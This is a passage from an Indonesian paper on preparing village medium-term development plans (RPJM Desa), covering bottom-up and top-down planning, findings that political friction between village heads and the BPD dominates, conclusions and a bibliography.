6. Dilakukan pembahasan terhadap Rancangan Peraturan Desa (Perdes) RPJM Desa; dan pengesahan RPJM Desa sebagai Peraturan Desa yang mengikat semua pihak untuk melaksanakannya dalam lima tahun ke depan.

3. Bottom-up Planning

Perencanan dari bawah yang dimaksud bahwa proses penyusunan RPJM Desa harus memperhatikan dan mengakomodasikan kebutuhan dan aspirasi masyarakat:

1. Penjaringan aspirasi dan kebutuhan masyarakat untuk melihat
2. Konsistensi dengan visi, misi dan program kepala desa terpilih;
3. Memperhatikan hasil proses musrenbang dan kesepakatan dengan masyarakat tentang prioritas pembangunan desa; dan
4. Memperhatikan hasil dari proses penyusunan usulan kegiatan desa

4. Top-down Planning

Perencanan dari atas yang dimaksud bahwa proses penyusunan RPJM Desa perlu bersinergi dengan rencana strategis di atasnya dan komitmen pemerintahan atasan berkaitan:

1. RPJM Desa sinergi dengan RPJM Kabupaten/Kota; dan
2. RPJM Desa sinergi dan komitmen pemerintah terhadap tujuan pembangunan global seperti Millenium Development Goals(MDGs), Sustainable Development, pemenuhan Hak Asasi Manusia, pemenuhan air bersih, sanitasi, dan infrastruktur dasar.

Berbagai pendekatan yang telah dijelaskan diatas, berdasarkan hasil diskusi dengan peserta MKD menunjukkan bahwa faktor politik cenderung lebih dominan dibandingkan dengan faktor lainnya.

Faktor politik yang dominan adalah hubungan antara Kepala Desa dengan BPD yang kurang harmonis. Hal ini menyebabkan terlambatnya RPJM Desa untuk disyahkan. Hal ini sebagaimana terungkap dalam diskusi kelas seperti kutipan berikut:

  • “ BPD di Desa kami, susah diajak koordinasi, terkadang kami bingung harus bagaimana, …(B, 27/11/2016)
  • “APBDes yang sudah dirancang desa tidak mau ditandatangani oleh BPD. Lalu bagaimana?… “(AR, 8/11/2016)

 

RPJM Desa tidak saja dipahami sebagai produk politis, teknokratis dan aspiratif saja, lebih dari itu sebagai alat perubahan dan pengendali pemerintahan desa, sehingga masyarakat mampu menjawab tantangan yang dihadapi

Oleh karena itu harus dipahami bahwa persoalan perencanaan pembangunan adalah persoalan bersama yang menyangkut pola kepemimpinan, budaya pemerintahan, manajemen sumber daya dan alokasi sumber pendanaan yang terbatas.

Oleh karena itu, pemahaman konteks dan analisis situasi dan kondisi daerah sangat penting dalam penyusunan RPJM Desa, ketimbang persoalan politik, meskipun hal ini tidak dapat dihindari.

Semua pihak diharapkan menyadari bahwa bahwa RPJM Desa tidak saja dipahami sebagai produk politis, teknokratis dan aspiratif saja, lebih dari itu sebagai alat perubahan dan pengendali pemerintahan desa, sehingga masyarakat mampu menjawab tantangan yang dihadapi.

 

Visi dan Misi Kepala Desa selama periode kepemimpinan

Berdasarkan hasil pembahasan yang telah dijelaskan di bab sebelumnya dapat di simpulkan bahwa RPJM Desa merupakan dokumen perencanaan pembangunan yang membuat Visi dan Misi Kepala Desa selama periode kepemimpinannya.

RPJM Desa harus sinergi dengan perencanaan yang telah disusun oleh Pemerintah Kabupaten. RPJM Desa di susun oleh tim penyusun RPJM Desa yang telah di bentuk oleh Kepala Desa dengan Sekertaris Desa sebagai ketua tim penyusun dengan memperhatikan berbagai ketentuan dalam proses penyusunannya.

Dalam proses penyusunannya Tim Penyusun akan bekerja bersama-sama mulai dari tahap persiapan, musyawarah dusun, musyawarah perencanaan pembangunan dan sosialisasi hasil dari dokumen RPJM Desa tersebut. Hasil diskusi dengan peserta Diklat MKD yang diikuti oleh Sekdes Se-Jawa Timur menjelaskan bahwa selama ini masyarakat ikut berpartisipasi dalam musyawarah dusun untuk mengusulkan berbagai program pembangunan.

Ada beberapa pendekatan dalam proses penyusunan RPJM Desa yaitu demokratis dan partisipatif, politis, bottom-up dan top down proces

Ada beberapa pendekatan dalam proses penyusunan RPJM Desa yaitu demokratis dan partisipatif, politis, bottom-up dan top down process. Hal ini dimaksudkan agar perencanaan desa mampu memenuhi kaidah penyusunan perencanaan yang sistematis, terpadu, transparan dan akuntabel, konsisten dengan rencana lain yang relevan, dan kepemilikan rencana. Berbagai pendekatan yang telah dijelaskan diatas, berdasarkan hasil diskusi dengan peserta MKD menunjukkan bahwa faktor politik cenderung lebih dominan di bandingkan dengan faktor lainnya. Faktor politik yang dominan adalah hubungan antara Kepala Desa dengan BPD yang kurang harmonis.

Saran dalam tulisan ini adalah persoalan perencanaan pembangunan adalah persoalan bersama yang menyangkut pola kepemimpinan, budaya pemerintahan, manajemen sumber daya dan alokasi sumber pendanaan yang terbatas. Oleh karena itu, pemahaman konteks dan analisis situasi dan kondisi daerah sangat penting dalam penyusunan RPJM Desa, ketimbang persoalan politik, meskipun hal ini tidak dapat dihindari. Semua pihak diharapkan menyadari bahwa bahwa RPJM Desa tidak saja dipahami sebagai produk politis, teknokratis dan aspiratif saja, lebih dari itu sebagai alat perubahan dan pengendali pemerintahan desa, sehingga masyarakat mampu menjawab tantangan yang dihadapi.

 

DAFTAR PUSTAKA

Anthony, W. P. 1984. Partisipatif Management. Menlo Park, Calif: addison-wesley Publishing Company

Callahan, Kathe. 2002. The Utilization and Effectiveness of Citizen Advisory Committees in The Budget Process of Local Government. Journal of Public Budgeting, Accounting and Financial Management. 14 (2) 295-319

Ebdon, Carol. 2002. Beyond the Public Hearing: Citizen Participation in the Local Government Budgeting Process. Journal of Public Budgeting, Accounting and Financial Management, 14 (2) 273-294.

Hikam, Muhammad AS. 1998. Demokrasi dan Civil Society. Jakarta: LP3ES

Hopwood, G. Anthony. 1989. Behavioral Accounting In Retrospect And Prospect, Behavioral Research In Accounting Volume 1, Printed in USA.

Islamy, Muhammad Irfan. 2001. Upaya menumbuhkan Partisipasi Masyarakat dalam pemerintahan dan Pembangunan di daerah. makalah yang dipresentasikan pada seminar penumbuhan partisipasi masyarakat, di DPRD Pasuruan

Sisk, T.D. (Editor) (2002). Democracy at the Local Level: International IDEA Handbook Regarding Engagement, Representation, Conflict Management and Governance, Seri 4, Internasional IDEA, Jakarta, Indonesia.

Sopanah, 2003. Pengaruh Partisipasi Masyarakat dan Transparansi Kebijakan Publik Terhadap Hubungan antara Pengetahuan Dewan tentang Anggaran dengan Pengawasan Keuangan Daerah, dalam Proceding Simposium Nasional akuntansi VI, Membangun Citra Akuntan melalui Peningkatan Kualitas Pengetahuan, Pendidikan dan Etika Bisnis, Surabaya, 16-17 Oktober 2003

_______, Wahyudi, Isa dan Azmi, Happy. 2004. Strategi penguatan masyarakat dalam pengawasan proses penyusunan dan pelaksanaan APBD Kota Malang, Laporan penelitian tidak dipublikasikan MCW dan YAPPIKA.

_______, dan Wahyudi, Isa. 2005a. Strategi Penguatan Masyarakat sipil dalam meminimalisasi Distorsi Penyusunan APBD Kota Malang, dalam Procesing Simposium Riset II ISEI, Percepatan Pertumbuhan Ekonomi dan Pengurangan Pengangguran, Surabaya 23-24 November 2005

_______ dan Wahyudi, Isa. 2005b. Strategi Penguatan Partisipasi Rakyat terhadap Pengawasan dalam Proses Penyusunan dan Pelaksanaan APBD Kota Malang, dalam Procesing Simposium Riset II ISEI, Percepatan Pertumbuhan Ekonomi dan Pengurangan Pengangguran, Surabaya 23-24 November 2005

_______. 2008. Model Pengembangan Partisipasi Masyarakat Dalam Proses Penyusunan APBD di Kota Malang, Junal Akuntansi dan Keuangan, Volume 7 Edisi April, Universitas Muhammadiyah Surakarta.

_______. 2009. Studi Fenomenologis: Menguak Partisipasi Masyarakat Dalam Proses Penyusunan APBD di Kota Malang, Proceding Simposium Nasional Akuntansi (SNA) 12 Tanggal 4-6 November 2009 di Palembang